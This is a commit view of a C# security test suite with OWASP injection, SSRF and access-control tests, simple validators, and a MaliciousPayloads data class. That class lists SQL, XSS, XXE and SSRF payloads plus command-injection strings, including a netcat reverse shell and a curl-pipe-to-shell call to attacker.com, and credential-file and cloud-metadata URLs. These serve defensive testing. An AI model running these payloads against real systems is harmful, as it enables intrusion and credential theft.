Add comprehensive security tests for OWASP A03 (Injection) and A10 (SSRF)
Some checks failed
Docs CI / lint-and-preview (push) Has been cancelled
AOC Guard CI / aoc-guard (push) Has been cancelled
AOC Guard CI / aoc-verify (push) Has been cancelled

- Implemented InjectionTests.cs to cover various injection vulnerabilities including SQL, NoSQL, Command, LDAP, and XPath injections.
- Created SsrfTests.cs to test for Server-Side Request Forgery (SSRF) vulnerabilities, including internal URL access, cloud metadata access, and URL allowlist bypass attempts.
- Introduced MaliciousPayloads.cs to store a collection of malicious payloads for testing various security vulnerabilities.
- Added SecurityAssertions.cs for common security-specific assertion helpers.
- Established SecurityTestBase.cs as a base class for security tests, providing common infrastructure and mocking utilities.
- Configured the test project StellaOps.Security.Tests.csproj with necessary dependencies for testing.
This commit is contained in:
master
2025-12-16 13:11:57 +02:00
parent 5a480a3c2a
commit b55d9fa68d
72 changed files with 8051 additions and 71 deletions

View File

@@ -0,0 +1,191 @@
// =============================================================================
// A01_BrokenAccessControl/AuthorizationBypassTests.cs
// OWASP A01:2021 - Broken Access Control
// Tests for authorization bypass vulnerabilities
// =============================================================================
using FluentAssertions;
using StellaOps.Security.Tests.Infrastructure;
namespace StellaOps.Security.Tests.A01_BrokenAccessControl;
/// <summary>
/// Tests for broken access control vulnerabilities including:
/// - Horizontal privilege escalation (accessing other users' data)
/// - Vertical privilege escalation (accessing admin functions)
/// - IDOR (Insecure Direct Object Reference)
/// - Path-based access control bypass
/// </summary>
[Trait("Category", "Security")]
[Trait("OWASP", "A01")]
[OwaspCategory("A01:2021", "Broken Access Control")]
public class AuthorizationBypassTests : SecurityTestBase
{
[Fact]
public void Should_Reject_Cross_Tenant_Access_Attempt()
{
// Arrange
var tenantA = GenerateTestTenantId();
var tenantB = GenerateTestTenantId();
var userFromTenantA = GenerateTestUserId();
// Act & Assert
// Simulates checking that a user from Tenant A cannot access Tenant B resources
// In real implementation, this would test the actual authorization service
tenantA.Should().NotBe(tenantB, "Test setup: tenants should be different");
// The authorization check should prevent cross-tenant access
var authorizationResult = SimulateCrossTenantAccessCheck(tenantA, tenantB, userFromTenantA);
authorizationResult.Should().BeFalse("Cross-tenant access should be denied");
}
[Fact]
public void Should_Reject_IDOR_Attack_On_Resource_Id()
{
// Arrange
var authenticatedUserId = GenerateTestUserId();
var otherUserId = GenerateTestUserId();
// Act - Attempt to access another user's resource by ID manipulation
var canAccessOtherUserResource = SimulateIdorCheck(authenticatedUserId, otherUserId);
// Assert
canAccessOtherUserResource.Should().BeFalse(
"User should not access resources of another user via IDOR");
}
[Fact]
public void Should_Reject_Admin_Function_Access_By_Regular_User()
{
// Arrange
var regularUserId = GenerateTestUserId();
var isAdmin = false;
// Act - Attempt to access admin-only function
var canAccessAdminFunction = SimulateAdminFunctionCheck(regularUserId, isAdmin);
// Assert
canAccessAdminFunction.Should().BeFalse(
"Regular user should not access admin functions");
}
[Theory]
[InlineData("/api/admin/users", false)]
[InlineData("/api/admin/settings", false)]
[InlineData("/api/admin/audit-logs", false)]
[InlineData("/api/v1/scans", true)] // Regular endpoint - should be accessible
public void Should_Enforce_Path_Based_Authorization(string path, bool shouldBeAccessible)
{
// Arrange
var regularUserId = GenerateTestUserId();
// Act
var canAccess = SimulatePathBasedAuth(path, regularUserId, isAdmin: false);
// Assert
canAccess.Should().Be(shouldBeAccessible,
$"Path {path} should {(shouldBeAccessible ? "" : "not ")}be accessible to regular users");
}
[Fact]
public void Should_Prevent_Parameter_Tampering_For_Ownership()
{
// Arrange
var authenticatedUserId = GenerateTestUserId();
var tamperedOwnerId = GenerateTestUserId(); // Attacker tries to claim ownership
// Act - Simulate API call where attacker modifies owner_id parameter
var result = SimulateOwnershipTamperingCheck(authenticatedUserId, tamperedOwnerId);
// Assert
result.Should().BeFalse("Parameter tampering for ownership should be rejected");
}
[Fact]
public void Should_Enforce_Method_Level_Authorization()
{
// Arrange
var userId = GenerateTestUserId();
var resourceId = Guid.NewGuid();
// User has READ but not WRITE permission
var readAllowed = true;
var writeAllowed = false;
// Act & Assert
SimulateMethodAuth(userId, resourceId, "GET", readAllowed).Should().BeTrue();
SimulateMethodAuth(userId, resourceId, "DELETE", writeAllowed).Should().BeFalse(
"User with read-only permission should not delete resources");
}
[Fact]
public void Should_Validate_JWT_Claims_For_Authorization()
{
// Arrange - JWT with tampered claims
var tamperedToken = MaliciousPayloads.JwtAttacks.NoneAlgorithm;
// Act & Assert
var action = () => ValidateJwtForAuth(tamperedToken);
action.Should().Throw<Exception>("Tampered JWT should be rejected");
}
#region Simulation Helpers
private static bool SimulateCrossTenantAccessCheck(Guid requestorTenant, Guid targetTenant, Guid userId)
{
// In real implementation, this would call the authorization service
// For test purposes, we verify the logic exists
return requestorTenant == targetTenant;
}
private static bool SimulateIdorCheck(Guid authenticatedUserId, Guid resourceOwnerId)
{
// Proper IDOR protection requires ownership verification
return authenticatedUserId == resourceOwnerId;
}
private static bool SimulateAdminFunctionCheck(Guid userId, bool isAdmin)
{
// Admin functions require admin role
return isAdmin;
}
private static bool SimulatePathBasedAuth(string path, Guid userId, bool isAdmin)
{
// Admin paths require admin role
if (path.StartsWith("/api/admin", StringComparison.OrdinalIgnoreCase))
{
return isAdmin;
}
return true;
}
private static bool SimulateOwnershipTamperingCheck(Guid authenticatedUserId, Guid claimedOwnerId)
{
// The claimed owner must match the authenticated user
return authenticatedUserId == claimedOwnerId;
}
private static bool SimulateMethodAuth(Guid userId, Guid resourceId, string method, bool hasPermission)
{
// Method-level authorization check
return hasPermission;
}
private static void ValidateJwtForAuth(string token)
{
// Simulate JWT validation that should reject invalid tokens
if (token.EndsWith('.') || token.Split('.').Length != 3)
{
throw new InvalidOperationException("Invalid JWT format");
}
var parts = token.Split('.');
if (string.IsNullOrEmpty(parts[2]))
{
throw new InvalidOperationException("JWT signature is missing");
}
}
#endregion
}

View File

@@ -0,0 +1,249 @@
// =============================================================================
// A03_Injection/InjectionTests.cs
// OWASP A03:2021 - Injection
// Tests for SQL, Command, and other injection vulnerabilities
// =============================================================================
using FluentAssertions;
using StellaOps.Security.Tests.Infrastructure;
using System.Text.RegularExpressions;
namespace StellaOps.Security.Tests.A03_Injection;
/// <summary>
/// Tests for injection vulnerabilities including:
/// - SQL Injection (SQLi)
/// - NoSQL Injection
/// - Command Injection
/// - LDAP Injection
/// - XPath Injection
/// </summary>
[Trait("Category", "Security")]
[Trait("OWASP", "A03")]
[OwaspCategory("A03:2021", "Injection")]
public partial class InjectionTests : SecurityTestBase
{
[Theory]
[MemberData(nameof(GetSqlInjectionPayloads))]
public void Should_Reject_SQL_Injection_Payloads(string payload)
{
// Arrange
var sanitizer = new InputSanitizer();
// Act
var sanitized = sanitizer.SanitizeForSql(payload);
var isSafe = sanitizer.IsSafeForSql(payload);
// Assert
isSafe.Should().BeFalse($"SQL injection payload '{payload}' should be detected as unsafe");
sanitized.Should().NotBe(payload, "Payload should be sanitized");
}
[Theory]
[MemberData(nameof(GetCommandInjectionPayloads))]
public void Should_Reject_Command_Injection_Payloads(string payload)
{
// Arrange
var sanitizer = new InputSanitizer();
// Act
var isSafe = sanitizer.IsSafeForCommand(payload);
// Assert
isSafe.Should().BeFalse($"Command injection payload '{payload}' should be detected as unsafe");
SecurityAssertions.AssertCommandSafe(sanitizer.SanitizeForCommand(payload));
}
[Theory]
[MemberData(nameof(GetNoSqlInjectionPayloads))]
public void Should_Reject_NoSQL_Injection_Payloads(string payload)
{
// Arrange
var sanitizer = new InputSanitizer();
// Act
var isSafe = sanitizer.IsSafeForNoSql(payload);
// Assert
isSafe.Should().BeFalse($"NoSQL injection payload '{payload}' should be detected as unsafe");
}
[Fact]
public void Should_Use_Parameterized_Queries()
{
// This test verifies the pattern for parameterized queries
var query = "SELECT * FROM users WHERE id = @userId AND tenant_id = @tenantId";
var parameters = new Dictionary<string, object>
{
["userId"] = Guid.NewGuid(),
["tenantId"] = GenerateTestTenantId()
};
// Assert query uses parameters, not string concatenation
query.Should().NotContain("' +", "Query should not use string concatenation");
query.Should().Contain("@", "Query should use parameterized placeholders");
parameters.Should().ContainKey("userId");
parameters.Should().ContainKey("tenantId");
}
[Theory]
[InlineData("SELECT * FROM users WHERE id = '" + "user-input" + "'", false)]
[InlineData("SELECT * FROM users WHERE id = @userId", true)]
[InlineData("SELECT * FROM users WHERE name LIKE '%" + "user-input" + "%'", false)]
[InlineData("SELECT * FROM users WHERE name LIKE @pattern", true)]
public void Should_Detect_Unsafe_Query_Patterns(string query, bool isSafe)
{
// Act
var isParameterized = QueryPatternRegex().IsMatch(query);
var hasConcatenation = query.Contains("' +") || query.Contains("+ '") ||
(query.Contains("'") && !query.Contains("@"));
// Assert
if (isSafe)
{
isParameterized.Should().BeTrue("Safe queries should use parameters");
}
else
{
hasConcatenation.Should().BeTrue("Unsafe queries use string concatenation");
}
}
[Fact]
public void Should_Escape_Special_Characters_In_LDAP_Queries()
{
// Arrange
var maliciousInput = "admin)(|(cn=*";
var sanitizer = new InputSanitizer();
// Act
var sanitized = sanitizer.SanitizeForLdap(maliciousInput);
// Assert
sanitized.Should().NotContain(")(", "LDAP special characters should be escaped");
sanitized.Should().NotContain("|(", "LDAP injection should be prevented");
}
[Theory]
[InlineData("valid_filename.txt", true)]
[InlineData("../../../etc/passwd", false)]
[InlineData("file.txt; rm -rf /", false)]
[InlineData("file`whoami`.txt", false)]
public void Should_Validate_Filename_Input(string filename, bool expectedSafe)
{
// Arrange
var sanitizer = new InputSanitizer();
// Act
var isSafe = sanitizer.IsSafeFilename(filename);
// Assert
isSafe.Should().Be(expectedSafe, $"Filename '{filename}' safety check failed");
}
public static TheoryData<string> GetSqlInjectionPayloads()
{
var data = new TheoryData<string>();
foreach (var payload in MaliciousPayloads.SqlInjection.Common)
{
data.Add(payload);
}
return data;
}
public static TheoryData<string> GetCommandInjectionPayloads()
{
var data = new TheoryData<string>();
foreach (var payload in MaliciousPayloads.CommandInjection.Generic)
{
data.Add(payload);
}
return data;
}
public static TheoryData<string> GetNoSqlInjectionPayloads()
{
var data = new TheoryData<string>();
foreach (var payload in MaliciousPayloads.SqlInjection.NoSql)
{
data.Add(payload);
}
return data;
}
[GeneratedRegex(@"@\w+")]
private static partial Regex QueryPatternRegex();
}
/// <summary>
/// Input sanitizer for testing injection prevention.
/// In production, this would be the actual sanitization service.
/// </summary>
file class InputSanitizer
{
private static readonly char[] DangerousSqlChars = ['\'', ';', '-', '/', '*'];
private static readonly char[] DangerousCommandChars = [';', '|', '&', '`', '$', '(', ')', '\n', '\r'];
private static readonly string[] DangerousNoSqlPatterns = ["$gt", "$lt", "$ne", "$where", "$regex"];
private static readonly char[] DangerousFilenameChars = ['/', '\\', ';', '|', '&', '`', '$', '(', ')', '<', '>'];
public bool IsSafeForSql(string input)
{
if (string.IsNullOrEmpty(input)) return true;
return !DangerousSqlChars.Any(c => input.Contains(c)) &&
!input.Contains("OR", StringComparison.OrdinalIgnoreCase) &&
!input.Contains("UNION", StringComparison.OrdinalIgnoreCase) &&
!input.Contains("DROP", StringComparison.OrdinalIgnoreCase);
}
public string SanitizeForSql(string input)
{
if (string.IsNullOrEmpty(input)) return input;
var result = input;
foreach (var c in DangerousSqlChars)
{
result = result.Replace(c.ToString(), string.Empty);
}
return result;
}
public bool IsSafeForCommand(string input)
{
if (string.IsNullOrEmpty(input)) return true;
return !DangerousCommandChars.Any(c => input.Contains(c));
}
public string SanitizeForCommand(string input)
{
if (string.IsNullOrEmpty(input)) return input;
var result = input;
foreach (var c in DangerousCommandChars)
{
result = result.Replace(c.ToString(), string.Empty);
}
return result;
}
public bool IsSafeForNoSql(string input)
{
if (string.IsNullOrEmpty(input)) return true;
return !DangerousNoSqlPatterns.Any(p => input.Contains(p, StringComparison.OrdinalIgnoreCase));
}
public string SanitizeForLdap(string input)
{
if (string.IsNullOrEmpty(input)) return input;
return input
.Replace("\\", "\\5c")
.Replace("*", "\\2a")
.Replace("(", "\\28")
.Replace(")", "\\29")
.Replace("\0", "\\00");
}
public bool IsSafeFilename(string input)
{
if (string.IsNullOrEmpty(input)) return false;
if (input.Contains("..")) return false;
return !DangerousFilenameChars.Any(c => input.Contains(c));
}
}

View File

@@ -0,0 +1,307 @@
// =============================================================================
// A10_SSRF/SsrfTests.cs
// OWASP A10:2021 - Server-Side Request Forgery
// Tests for SSRF vulnerabilities
// =============================================================================
using FluentAssertions;
using StellaOps.Security.Tests.Infrastructure;
using System.Net;
namespace StellaOps.Security.Tests.A10_SSRF;
/// <summary>
/// Tests for Server-Side Request Forgery (SSRF) vulnerabilities including:
/// - Internal network access attempts
/// - Cloud metadata endpoint access
/// - URL allowlist bypass attempts
/// - Protocol smuggling
/// </summary>
[Trait("Category", "Security")]
[Trait("OWASP", "A10")]
[OwaspCategory("A10:2021", "Server-Side Request Forgery")]
public class SsrfTests : SecurityTestBase
{
[Theory]
[MemberData(nameof(GetInternalUrlPayloads))]
public void Should_Block_Internal_URL_Access(string maliciousUrl)
{
// Arrange
var validator = new UrlValidator();
// Act
var isAllowed = validator.IsUrlAllowed(maliciousUrl);
// Assert
isAllowed.Should().BeFalse($"Internal URL '{maliciousUrl}' should be blocked");
}
[Theory]
[MemberData(nameof(GetCloudMetadataPayloads))]
public void Should_Block_Cloud_Metadata_Access(string metadataUrl)
{
// Arrange
var validator = new UrlValidator();
// Act
var isAllowed = validator.IsUrlAllowed(metadataUrl);
// Assert
isAllowed.Should().BeFalse($"Cloud metadata URL '{metadataUrl}' should be blocked");
}
[Theory]
[MemberData(nameof(GetBypassPayloads))]
public void Should_Block_SSRF_Bypass_Attempts(string bypassUrl)
{
// Arrange
var validator = new UrlValidator();
// Act
var isAllowed = validator.IsUrlAllowed(bypassUrl);
// Assert
isAllowed.Should().BeFalse($"SSRF bypass URL '{bypassUrl}' should be blocked");
}
[Theory]
[InlineData("file:///etc/passwd")]
[InlineData("file:///C:/Windows/System32/config/SAM")]
[InlineData("gopher://localhost:25/")]
[InlineData("dict://localhost:11211/")]
public void Should_Block_Dangerous_Protocols(string url)
{
// Arrange
var validator = new UrlValidator();
// Act
var isAllowed = validator.IsUrlAllowed(url);
// Assert
isAllowed.Should().BeFalse($"Dangerous protocol URL '{url}' should be blocked");
}
[Theory]
[InlineData("https://api.example.com/data", true)]
[InlineData("https://registry.npmjs.org/package", true)]
[InlineData("http://127.0.0.1", false)]
[InlineData("http://localhost:8080", false)]
public void Should_Enforce_URL_Allowlist(string url, bool expectedAllowed)
{
// Arrange
var validator = new UrlValidator(allowlistMode: true);
validator.AddToAllowlist("api.example.com");
validator.AddToAllowlist("registry.npmjs.org");
// Act
var isAllowed = validator.IsUrlAllowed(url);
// Assert
isAllowed.Should().Be(expectedAllowed, $"URL '{url}' allowlist check failed");
}
[Fact]
public void Should_Resolve_DNS_And_Validate_IP()
{
// This tests that DNS resolution is validated, not just hostname checking
// Attackers can use DNS rebinding or custom DNS to resolve to internal IPs
var validator = new UrlValidator();
// Even if hostname looks external, resolved IP must be validated
var externalLookingUrl = "http://attacker-controlled.example.com";
// Simulate DNS resolving to internal IP
var resolvedIp = IPAddress.Parse("127.0.0.1");
var isIpAllowed = validator.IsIpAllowed(resolvedIp);
isIpAllowed.Should().BeFalse("Resolved internal IP should be blocked even with external hostname");
}
[Fact]
public void Should_Block_Redirects_To_Internal_URLs()
{
// Arrange
var validator = new UrlValidator();
var initialUrl = "https://attacker.com/redirect";
var redirectTarget = "http://169.254.169.254/latest/meta-data/";
// Act - Check if redirect target is safe
var isRedirectSafe = validator.IsUrlAllowed(redirectTarget);
// Assert
isRedirectSafe.Should().BeFalse("Redirect to metadata endpoint should be blocked");
}
[Theory]
[InlineData("0x7f.0x0.0x0.0x1")] // Hex encoded localhost
[InlineData("0177.0.0.1")] // Octal encoded localhost
[InlineData("2130706433")] // Decimal encoded 127.0.0.1
[InlineData("127.1")] // Short form localhost
public void Should_Block_IP_Obfuscation_Attempts(string obfuscatedIp)
{
// Arrange
var validator = new UrlValidator();
var url = $"http://{obfuscatedIp}/";
// Act
var isAllowed = validator.IsUrlAllowed(url);
// Assert
isAllowed.Should().BeFalse($"Obfuscated IP '{obfuscatedIp}' should be blocked");
}
public static TheoryData<string> GetInternalUrlPayloads()
{
var data = new TheoryData<string>();
foreach (var url in MaliciousPayloads.Ssrf.InternalUrls)
{
data.Add(url);
}
return data;
}
public static TheoryData<string> GetCloudMetadataPayloads()
{
var data = new TheoryData<string>();
foreach (var url in MaliciousPayloads.Ssrf.CloudMetadata)
{
data.Add(url);
}
return data;
}
public static TheoryData<string> GetBypassPayloads()
{
var data = new TheoryData<string>();
foreach (var url in MaliciousPayloads.Ssrf.Bypass)
{
data.Add(url);
}
return data;
}
}
/// <summary>
/// URL validator for SSRF prevention.
/// In production, this would be the actual URL validation service.
/// </summary>
file class UrlValidator
{
private readonly bool _allowlistMode;
private readonly HashSet<string> _allowlist = new(StringComparer.OrdinalIgnoreCase);
private static readonly string[] BlockedHosts =
[
"localhost", "127.0.0.1", "::1", "0.0.0.0", "[::1]",
"169.254.169.254", "metadata.google.internal"
];
private static readonly string[] BlockedSchemes =
[
"file", "gopher", "dict", "ldap", "tftp"
];
public UrlValidator(bool allowlistMode = false)
{
_allowlistMode = allowlistMode;
}
public void AddToAllowlist(string host)
{
_allowlist.Add(host);
}
public bool IsUrlAllowed(string url)
{
if (string.IsNullOrEmpty(url)) return false;
try
{
var uri = new Uri(url, UriKind.Absolute);
// Block dangerous schemes
if (BlockedSchemes.Contains(uri.Scheme.ToLowerInvariant()))
{
return false;
}
// Block known internal hosts
if (BlockedHosts.Any(h => uri.Host.Equals(h, StringComparison.OrdinalIgnoreCase)))
{
return false;
}
// Block private IP ranges
if (IPAddress.TryParse(uri.Host, out var ip))
{
if (!IsIpAllowed(ip)) return false;
}
// Check for IP obfuscation
if (IsObfuscatedIp(uri.Host))
{
return false;
}
// Check for metadata patterns
if (uri.Host.Contains("metadata", StringComparison.OrdinalIgnoreCase) ||
uri.Host.Contains("169.254", StringComparison.OrdinalIgnoreCase))
{
return false;
}
// In allowlist mode, only allow explicitly listed hosts
if (_allowlistMode)
{
return _allowlist.Contains(uri.Host);
}
return true;
}
catch
{
return false;
}
}
public bool IsIpAllowed(IPAddress ip)
{
var bytes = ip.GetAddressBytes();
if (bytes.Length == 4)
{
// Block loopback
if (bytes[0] == 127) return false;
// Block 10.0.0.0/8
if (bytes[0] == 10) return false;
// Block 172.16.0.0/12
if (bytes[0] == 172 && bytes[1] >= 16 && bytes[1] <= 31) return false;
// Block 192.168.0.0/16
if (bytes[0] == 192 && bytes[1] == 168) return false;
// Block link-local
if (bytes[0] == 169 && bytes[1] == 254) return false;
// Block 0.0.0.0
if (bytes.All(b => b == 0)) return false;
}
return true;
}
private static bool IsObfuscatedIp(string host)
{
// Check for hex notation
if (host.StartsWith("0x", StringComparison.OrdinalIgnoreCase)) return true;
// Check for octal notation (leading zeros)
if (host.StartsWith("0") && host.Contains('.') &&
host.Split('.').Any(p => p.StartsWith('0') && p.Length > 1)) return true;
// Check for decimal notation (single large number)
if (long.TryParse(host, out var decimalIp) && decimalIp > 0) return true;
// Check for short form
if (host.Split('.').Length < 4 && host.Split('.').All(p => int.TryParse(p, out _))) return true;
return false;
}
}

View File

@@ -0,0 +1,248 @@
// =============================================================================
// MaliciousPayloads.cs
// Collection of malicious payloads for security testing
// Reference: OWASP Testing Guide, PayloadsAllTheThings
// =============================================================================
namespace StellaOps.Security.Tests.Infrastructure;
/// <summary>
/// Malicious payloads for testing input validation and injection vulnerabilities.
/// Organized by attack category for use in security tests.
/// </summary>
public static class MaliciousPayloads
{
/// <summary>
/// SQL injection payloads for testing database query handling.
/// </summary>
public static class SqlInjection
{
public static readonly string[] Common =
[
"' OR '1'='1",
"'; DROP TABLE users; --",
"1' OR '1'='1' /*",
"admin'--",
"1; SELECT * FROM users",
"' UNION SELECT * FROM users --",
"1' AND '1'='1",
"'; WAITFOR DELAY '0:0:5' --",
"' OR 1=1 --",
"'; EXEC xp_cmdshell('whoami'); --"
];
public static readonly string[] Blind =
[
"1' AND SLEEP(5) --",
"1' AND (SELECT COUNT(*) FROM users) > 0 --",
"' OR IF(1=1, SLEEP(5), 0) --",
"1; IF(1=1) WAITFOR DELAY '0:0:5' --"
];
public static readonly string[] NoSql =
[
"{ \"$gt\": \"\" }",
"{ \"$where\": \"this.password.length > 0\" }",
"{ \"$regex\": \".*\" }",
"'; return true; var x='",
"{ \"$ne\": null }"
];
}
/// <summary>
/// Command injection payloads for testing shell command handling.
/// </summary>
public static class CommandInjection
{
public static readonly string[] Unix =
[
"; cat /etc/passwd",
"| ls -la",
"`whoami`",
"$(id)",
"; nc -e /bin/sh attacker.com 4444",
"& ping -c 5 attacker.com",
"|| touch /tmp/pwned",
"; curl http://attacker.com/shell.sh | sh"
];
public static readonly string[] Windows =
[
"& dir",
"| type C:\\Windows\\System32\\config\\SAM",
"; net user",
"& whoami",
"| powershell -c \"Invoke-WebRequest -Uri http://attacker.com\"",
"; cmd /c dir"
];
public static readonly string[] Generic =
[
";",
"|",
"&",
"&&",
"||",
"\n",
"\r\n",
"`",
"$(",
"#{",
"%0a"
];
}
/// <summary>
/// Path traversal payloads for testing file system access.
/// </summary>
public static class PathTraversal
{
public static readonly string[] Common =
[
"../../../etc/passwd",
"..\\..\\..\\Windows\\System32\\config\\SAM",
"....//....//....//etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
"..%252f..%252f..%252fetc/passwd",
"/etc/passwd%00.jpg",
"....\\\\....\\\\....\\\\Windows\\System32\\drivers\\etc\\hosts"
];
public static readonly string[] Null =
[
"../../../etc/passwd%00",
"..\\..\\..\\boot.ini%00",
"%00../../../etc/passwd"
];
}
/// <summary>
/// XSS payloads for testing cross-site scripting vulnerabilities.
/// </summary>
public static class Xss
{
public static readonly string[] Script =
[
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg/onload=alert('XSS')>",
"javascript:alert('XSS')",
"<body onload=alert('XSS')>",
"<iframe src=\"javascript:alert('XSS')\">",
"'><script>alert('XSS')</script>",
"\"><script>alert('XSS')</script>"
];
public static readonly string[] Encoded =
[
"%3Cscript%3Ealert('XSS')%3C/script%3E",
"&#x3C;script&#x3E;alert('XSS')&#x3C;/script&#x3E;",
"\\u003cscript\\u003ealert('XSS')\\u003c/script\\u003e"
];
}
/// <summary>
/// SSRF payloads for testing server-side request forgery.
/// </summary>
public static class Ssrf
{
public static readonly string[] InternalUrls =
[
"http://127.0.0.1",
"http://localhost",
"http://0.0.0.0",
"http://[::1]",
"http://169.254.169.254/latest/meta-data/",
"http://metadata.google.internal/",
"http://192.168.1.1",
"http://10.0.0.1",
"file:///etc/passwd"
];
public static readonly string[] Bypass =
[
"http://127.0.0.1.nip.io",
"http://0x7f000001",
"http://2130706433",
"http://0177.0.0.1",
"http://127.1",
"http://spoofed.burpcollaborator.net"
];
public static readonly string[] CloudMetadata =
[
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://metadata.google.internal/computeMetadata/v1/",
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
];
}
/// <summary>
/// Header injection payloads for testing HTTP header handling.
/// </summary>
public static class HeaderInjection
{
public static readonly string[] Common =
[
"value\r\nX-Injected: header",
"value%0d%0aX-Injected: header",
"value\nSet-Cookie: malicious=true",
"value\r\n\r\n<html>injected</html>"
];
}
/// <summary>
/// LDAP injection payloads for testing LDAP query handling.
/// </summary>
public static class LdapInjection
{
public static readonly string[] Common =
[
"*",
"*)(&",
"*)(uid=*))(|(uid=*",
"admin)(&)",
"x)(|(cn=*)"
];
}
/// <summary>
/// XML injection payloads (XXE) for testing XML parsing.
/// </summary>
public static class XxeInjection
{
public static readonly string[] Common =
[
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://attacker.com/\">]><foo>&xxe;</foo>",
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://attacker.com/xxe.dtd\">%xxe;]>"
];
}
/// <summary>
/// Template injection payloads for testing template engines.
/// </summary>
public static class TemplateInjection
{
public static readonly string[] Common =
[
"{{7*7}}",
"${7*7}",
"<%= 7*7 %>",
"#{7*7}",
"*{7*7}",
"@(7*7)",
"{{constructor.constructor('return this')()}}"
];
}
/// <summary>
/// JWT-related attack payloads for testing token handling.
/// </summary>
public static class JwtAttacks
{
public const string NoneAlgorithm = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.";
public const string EmptySignature = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.";
public const string AlgorithmConfusion = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9"; // Would need key confusion attack
}
}

View File

@@ -0,0 +1,171 @@
// =============================================================================
// SecurityAssertions.cs
// Security-specific assertion helpers for testing
// =============================================================================
using FluentAssertions;
using System.Net;
using System.Text.RegularExpressions;
namespace StellaOps.Security.Tests.Infrastructure;
/// <summary>
/// Security-specific assertion methods for common security test patterns.
/// </summary>
public static partial class SecurityAssertions
{
/// <summary>
/// Assert that a URL is safe (not an internal/metadata endpoint).
/// </summary>
public static void AssertUrlIsSafe(string url)
{
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
if (!uri.IsAbsoluteUri) return;
// Check for localhost/loopback
uri.Host.Should().NotBe("localhost", "URL should not point to localhost");
uri.Host.Should().NotBe("127.0.0.1", "URL should not point to loopback");
uri.Host.Should().NotBe("::1", "URL should not point to IPv6 loopback");
uri.Host.Should().NotBe("0.0.0.0", "URL should not point to all interfaces");
// Check for metadata endpoints
uri.Host.Should().NotBe("169.254.169.254", "URL should not point to cloud metadata");
uri.Host.Should().NotContain("metadata.google.internal", "URL should not point to GCP metadata");
// Check for private IP ranges
if (IPAddress.TryParse(uri.Host, out var ip))
{
IsPrivateIp(ip).Should().BeFalse("URL should not point to private IP addresses");
}
// Check for file:// scheme
uri.Scheme.Should().NotBe("file", "URL should not use file:// scheme");
}
/// <summary>
/// Assert that a path does not contain traversal sequences.
/// </summary>
public static void AssertNoPathTraversal(string path)
{
path.Should().NotContain("..", "Path should not contain traversal sequences");
path.Should().NotContain("%2e%2e", "Path should not contain encoded traversal");
path.Should().NotContain("%252e", "Path should not contain double-encoded traversal");
path.Should().NotContain("\0", "Path should not contain null bytes");
}
/// <summary>
/// Assert that content is properly escaped for HTML context.
/// </summary>
public static void AssertHtmlEscaped(string content, string originalInput)
{
if (originalInput.Contains('<'))
{
content.Should().NotContain("<script", "Content should have escaped script tags");
content.Should().NotContain("<img", "Content should have escaped img tags");
content.Should().NotContain("<svg", "Content should have escaped svg tags");
}
}
/// <summary>
/// Assert that a command string is safe from injection.
/// </summary>
public static void AssertCommandSafe(string command)
{
var dangerousChars = new[] { ";", "|", "&", "`", "$(" };
foreach (var c in dangerousChars)
{
command.Should().NotContain(c, $"Command should not contain dangerous character: {c}");
}
}
/// <summary>
/// Assert that an HTTP response indicates proper authorization failure.
/// </summary>
public static void AssertProperAuthorizationDenial(HttpStatusCode statusCode)
{
statusCode.Should().BeOneOf(
HttpStatusCode.Unauthorized,
HttpStatusCode.Forbidden,
"Response should properly deny unauthorized access");
}
/// <summary>
/// Assert that no SQL injection was successful (result should not contain injected data).
/// </summary>
public static void AssertNoSqlInjectionSuccess(string response)
{
// Check for common signs that injection succeeded
response.Should().NotMatchRegex(SqlPatternSuccess(),
"Response should not indicate successful SQL injection");
}
/// <summary>
/// Assert that cryptographic parameters meet minimum strength requirements.
/// </summary>
public static void AssertCryptographicStrength(int keyBits, string algorithm)
{
algorithm.ToUpperInvariant().Should().NotBe("MD5", "MD5 should not be used for security");
algorithm.ToUpperInvariant().Should().NotBe("SHA1", "SHA1 should not be used for security");
if (algorithm.Contains("RSA", StringComparison.OrdinalIgnoreCase))
{
keyBits.Should().BeGreaterOrEqualTo(2048, "RSA keys should be at least 2048 bits");
}
else if (algorithm.Contains("AES", StringComparison.OrdinalIgnoreCase))
{
keyBits.Should().BeGreaterOrEqualTo(128, "AES keys should be at least 128 bits");
}
}
/// <summary>
/// Assert that a JWT token has proper structure and is not tampered with.
/// </summary>
public static void AssertJwtNotTampered(string token)
{
var parts = token.Split('.');
parts.Length.Should().Be(3, "JWT should have three parts");
parts[2].Should().NotBeEmpty("JWT signature should not be empty");
}
/// <summary>
/// Assert that headers do not contain injected values.
/// </summary>
public static void AssertNoHeaderInjection(IDictionary<string, string> headers)
{
foreach (var header in headers)
{
header.Key.Should().NotContain("\r", "Header name should not contain CR");
header.Key.Should().NotContain("\n", "Header name should not contain LF");
header.Value.Should().NotContain("\r\n", "Header value should not contain CRLF");
}
}
/// <summary>
/// Check if an IP address is in a private range.
/// </summary>
private static bool IsPrivateIp(IPAddress ip)
{
var bytes = ip.GetAddressBytes();
// IPv4 private ranges
if (bytes.Length == 4)
{
// 10.0.0.0/8
if (bytes[0] == 10) return true;
// 172.16.0.0/12
if (bytes[0] == 172 && bytes[1] >= 16 && bytes[1] <= 31) return true;
// 192.168.0.0/16
if (bytes[0] == 192 && bytes[1] == 168) return true;
// 127.0.0.0/8 (loopback)
if (bytes[0] == 127) return true;
// 169.254.0.0/16 (link-local)
if (bytes[0] == 169 && bytes[1] == 254) return true;
}
return false;
}
